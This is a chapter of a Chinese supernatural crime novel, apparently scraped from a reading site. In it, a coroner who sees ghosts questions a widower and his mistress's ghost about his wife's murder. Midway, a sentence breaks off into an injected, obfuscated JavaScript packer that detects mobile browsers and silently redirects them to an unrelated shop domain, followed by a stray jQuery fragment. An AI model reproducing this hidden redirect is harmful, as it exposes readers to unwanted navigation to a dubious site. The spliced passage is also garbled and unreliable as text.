“不可能!”
林溪倒挂在解剖台上,笃定道:“张辉绝对出轨了!”
“那几条视频说的清清楚楚,如果不是他出轨,别人为什么对他每天的行踪和穿着都了如指掌?”
冯少阳在一旁煽风点火:“就是就是。”
“虽然我是男的,但我觉得男的没个好东西。”
段司昭冷睨他一眼:“所以你摸人家女孩子的手?”
冯少阳顿时自闭,把脑袋180度拧到后面。
“……我付出代价啦,我这不是死了么。”
好冷的一个笑话。
对林溪的话,段司昭信,也不全信。
这是她的主观臆想,除了那条视频,没有任何确切关于张辉出轨的证据。
段司昭看着奇形怪状或倒挂或半空漂浮或拧着自己脑袋玩的四鬼,陷入沉默。
人一走神,思绪就不自觉飘到宋绥溟身上。
那笔钱,宋绥溟还要不要?
不要的话,她可就花了。
“头儿,有新消息。”
乔凤推门而入,与眼神呆滞的段司昭四目相对。
四鬼齐刷刷飘过去围着乔凤,比段司昭还好奇什么新消息。
乔凤对此全然不知,只觉得阴风阵阵的,默默走到段司昭面前感觉才好些:“张辉报警了。”
“什么?!”
林溪激动的扑过去想抓乔凤问个清楚,结果从她身体里穿了过去。
乔凤浑身一哆嗦,“好冷啊。”
她不解抬头,“是空调开低了吗?”
段司昭警告性的扫了林溪一眼,率先迈开腿走出去。
“为什么报警?”
乔凤连忙小跑跟上。
“他的妻子失踪超过24小时了,根据他描述,他昨晚回家发现林溪没在,以为她跟朋友出去玩,发了消息没回也以为是林溪没看到。”
“昨天一早发现林溪还没回消息,开始察觉不对劲,联系了林溪朋友和家人都说没看到她。”
“我以为是她前几天想要的那款包我没买给她,她生气了故意不接电话离家出走。”
公安局,张辉的报警过程投放在大屏幕上。
张辉紧紧攥着衣袖,眼底有自责、懊悔,更多的是急躁:“两天了,我手机里没收到任何消费信息。”
“她身上没钱的,家人朋友都没看到她,也没有任何消费记录,她能去哪?”
徐良听说张辉报警,第一时间赶到现场。
试探性的问了不少问题,张辉的回答看起来都没有嫌疑。
“看样子,张辉的确不知道林溪已经遇害。”
“不然就是他演技太好,连我也看不出来。”
“林溪出事的地方就在她家小区一条马路的地方。”
段司昭平静的语气戳破了众人对张辉这番毫无破洞的说辞背后的唯一疑虑。
“半个京州都在讨论这件事。”唯独张辉听不到?
一语戳破真相,众人对视,沉默。
段司昭起身:“先安排张辉去殡仪馆。”
第二天,张辉被徐良带到殡仪馆。
来到这个地方,张辉仿佛明白了什么,突然停在门边不敢迈开腿:“你们带我来这儿做什么?”
“我找我老婆。”张辉甩开徐良的手,怒斥他:“你带我来殡仪馆几个意思?!”
“请你冷静点!”徐良一把按住他:“我们能理解你的心情,但请配合我们的工作。”
“当务之急,是配合我们找到凶手,还死者一个公道。”
殡仪馆的长廊阴森冰冷,一眼过去看不到尽头。
四周飘着或正常死亡或意外离去的亡魂,最里面那间,原本倒挂在墙上的林溪仿佛意识到什么,急切的从门里飘出来。
张辉面色惨白,每一步都走的格外沉重。
徐良推开门,陪着张辉走进去。
乔凤拉开储尸袋,后退到一旁。
解剖室里回荡着张辉压抑的哭泣声,乔凤眼眶有些红,扭头看段司昭。
却见她冷着脸,一副很无语的样子。
乔凤:“??”
这场面难道不伤感不想哭吗?
感动不了一点。
“哇,段司昭你看他!!”
段司昭的视角里,林溪气得上蹿下跳:“他背着你哭得这么惨,结果第一眼泪都没掉!!”
林溪气不过,抬脚踹张辉,一脚踹空更气了:“太过分了!”
“怎么能变厉鬼,我要杀了他!!”
段司昭生怕林溪真恨意堆积变成厉鬼,开口打断张辉的哭泣声:“张先生,关于你妻子,我们有几个问题想跟您了解一下。”
她看向宋无尧,后者上前控场,重新合拢储尸袋。
殡仪馆的临时审讯室里,段司昭穿戴整齐坐在最中央,徐良几人也陪同在侧。
“你跟你妻子生前感情如何?”
张辉怔了片刻,神情悲怆:“我们青梅竹马,一起长大,感情稳定。”
“我最近生意上出现问题,她想让我给她买一款包,我想着度过这个难关再给她买,没想到她因此生气,离家出走。”
“骗子!”林溪坐在张辉头顶,气得想扯他头发:“是一个包的问题吗?!”
“是你把我想要的包送给小四了!”
“人小三都发视频了!”
段司昭缓缓眯起眸子,仿佛要看穿张辉的心思般:“据我们所知,你的公司前景良好,上个月刚完成二轮融资。”
张辉抬头,眼神晃了晃:“你们调查我?”
意识到自己的失神,他连忙垂下眼帘:“那只是表面的辉煌。”
“我们做生意的,风险大于回报,如果不把表面做得好看点,没人会投资我们。”
他拧着眉头,看段司昭的眼神里隐隐透着瞧不起:“我老婆跟你一样,什么都不懂,就觉得是我不爱她了。”
林溪在一旁龇牙咧嘴:“你就是不爱我了,我能感觉得到。”
张辉:“我怎么可能不爱她,我们这么多年的感情。”
林溪恨不得锤爆他的头:“你他爹还知道我们这么多年感情?”
“我们这么多年感情你找小三养小四!”
徐良例行询问:“案发当晚,你在哪?”
“我在津州出差。”张辉脸上看不出破绽:“那天跟她争吵完,我就出差了,昨天下午才回来的。”
一番询问下来,张辉的回答都与警方调查的所差无几,案子陷入僵局。
送走张辉,段司昭起身去到解剖室,在角落里找到一整天都没什么存在感的赵珊。
她拿出张辉的照片放在赵珊面前:“你认识他吗?”
赵珊没抬头,仿佛知道段司昭问的是谁,沉重的点了点头,自言自语般:“他说他是单亲爸爸我才相信他的。”
“谁?”正好从段司昭身后飘过的林溪停下吃瓜,好奇的探出脑袋。
看到段司昭手里的照片后脸色大变:“你就是那个发视频的小三?!”
她一时激动,朝着赵珊就扑了上去。
赵珊低着头不敢说话,任由林溪一个激动把她的脑袋撞到地上滚了好几圈。
赶来的冯少阳与何恬恬没见过这阵势,双双在墙角蹲着吃瓜。
憋了很多天一直沉默寡言的赵珊情绪崩溃,任由林溪推搡,在她面前跪了下来。
“对不起,我真的不是故意插足你们感情的。”
“是张辉追我,他说他是单亲爸爸。”
“我问过蔓蔓,蔓蔓也说她没有妈妈,我真的不知道张辉和蔓蔓都在撒谎。”
原本激动的林溪在听到赵珊这话后,如同泄了气的皮球般倒在地上,难以置信:“你说什么?”
林溪宁愿是自己听错了。
张辉出轨她早有预料,但蔓蔓是她一手带大的女儿。
她失了神般呢喃:“蔓蔓怎么可能会撒谎自己没有妈妈?”
因为没有眼泪,林溪双眼空洞的盯着前方,被丈夫背叛尚且冷静收集证据的她,听到女儿背叛的那一刻彻底失去了神采。
赵珊不敢看林溪,她早就意识到自己的错误了。
插足别人感情这件事她从来没想过,意识到自己的错误后她就及时止损跟张辉提出分手。
甚至不算分手,赵珊紧咬着牙,张辉只是想睡她而已。
林溪扭头盯着全程平静得像是什么都知道的段司昭:“你从一开始就知道她是把我骗出去的小三?”
段司昭能理解林溪的激动,但她的确没这么神通广大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633063|206467||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
她看了眼赵珊,道:“我只是擅长赌博。”
四名死者,除了赵珊对自己生前的事很抗拒提及,其他三人都恨不得一股脑往外说。
当时她只是怀疑,后来调查过程中知道林溪的女儿在学舞蹈,出于职业直觉,段司昭查了一下,得知身为舞蹈老师的赵珊所在的机构就是林溪女儿所在的机构。
破案就像是一个个打着结的藤蔓,解开一个结就会看到另一根线头。
这种巧合可能只是巧合,但警方那边调查到,林溪的女儿蔓蔓半年前从芭蕾舞转到中国舞。
两个舞种完全不沾边,这么大的跨度本身就很奇怪,昨天,段司昭试探性的问过林溪,她一直以为蔓蔓学的是芭蕾舞。
今天见到张辉,段司昭突然想起一个形容词:凤凰男。
段司昭上前,单手托着下巴蹲在赵珊面前:“你怎么发现张辉骗你的呢?”
赵珊是京州本地人,生在富裕家庭,骄傲的人生里先是被迫成为小三尊严被人羞辱,又是意外惨死,情绪一直很差。
但事已至此,她还是选择将一切和盘托出:“一个月前,蔓蔓说漏嘴她妈妈在楼下接她下课。”
“或许是出于直觉,我悄悄跟着她下楼。”
赵珊看向林溪,知道自己接下来的话会给她带来伤害,沉默了好一会儿才继续道:“我不是第一次见到你,之前,蔓蔓说你是照顾她的阿姨。”
“看到是你的那一刻,我还抱着最后的侥幸心理,直到蔓蔓扑进你怀里,亲切的叫你妈妈。”
“不可能!”林溪不愿意相信:“蔓蔓那么爱我,怎么可能对别人说我是照顾她的佣人?”
女人的天性里大概都藏着对孩子坚定不移的爱。
所以,在此刻,林溪才会这么崩溃。
她的女儿,她奉为一切的女儿,私底下是个撒谎精,甚至残忍的剥夺了她作为母亲的身份。
赵珊知道这对于一个母亲来说很残酷,试着安慰她:“或许,是张辉教她这么做的,孩子心性尚未成熟,不一定是她的本意。”
只有作为母亲的林溪最了解她的孩子:“蔓蔓很聪明。”
她试图让自己冷静下来,可冷静下来百般思索的真相,越发血淋淋的摆在她面前。
她的女儿,她舍弃一切陪伴的女儿,其实打从心里瞧不起这个没有工作只能靠丈夫养的母亲。
在蔓蔓眼里,没有经济来源没有话语权的母亲,可以是死去的,也可以是保姆。
林溪突然笑了,整个人被抽走了力气般,只剩嘴角的笑越发悲凉起来。
好久,她才重新看向赵珊。
因为她意识到,赵珊也被出轨了。
赵珊点头:“你刷到的那些视频,是我发的。”
“我从蔓蔓那里知道你平时有刷短视频的习惯,所以我试着提醒你,关于张辉出轨的事。”
林溪平静下来,神色冷的可怕:“你想利用我报复张辉?”
“一开始是的。”赵珊并不否认自己的肮脏手段:“但后来,我发现你其实比我可怜。”
事实有些残酷,但的确如此:“以你的现状,与知道真相与张辉分开,不见得会比现在过的好。”
“所以我停手了。”
段司昭抓到重点:“你什么时候停止继续发短视频的?”
赵珊:“半个月前就已经停止了。”
“不对。”林溪也意识到了什么,僵直身子:“我一直在刷到。”
“之前只是一周一次,后来变成三天一次。”
林溪几乎是瞬间反应过来一个可怕的真相,“我之前就觉得那人像是在催我一样。”
“每天都在发,关于张辉和那个女人的细节,连张辉穿什么颜色的内裤她都知道。”
林溪性格其实很冷静,但对方视频太勤快,每一条都像是挑衅,索命鬼一般不间断的刺激着林溪。
她就是在这种不断刺激与挑衅下失去理智,凌晨出门抓奸的。
赵珊也意识到什么,脸色难看:“如果是这样的话,那联系我的人不是你吗?”
“什么联系你的人?”
两人对视,心惊胆战,他们都被人在背后操控了。
赵珊声音有些颤抖:“约我去公园的人,我以为是你。”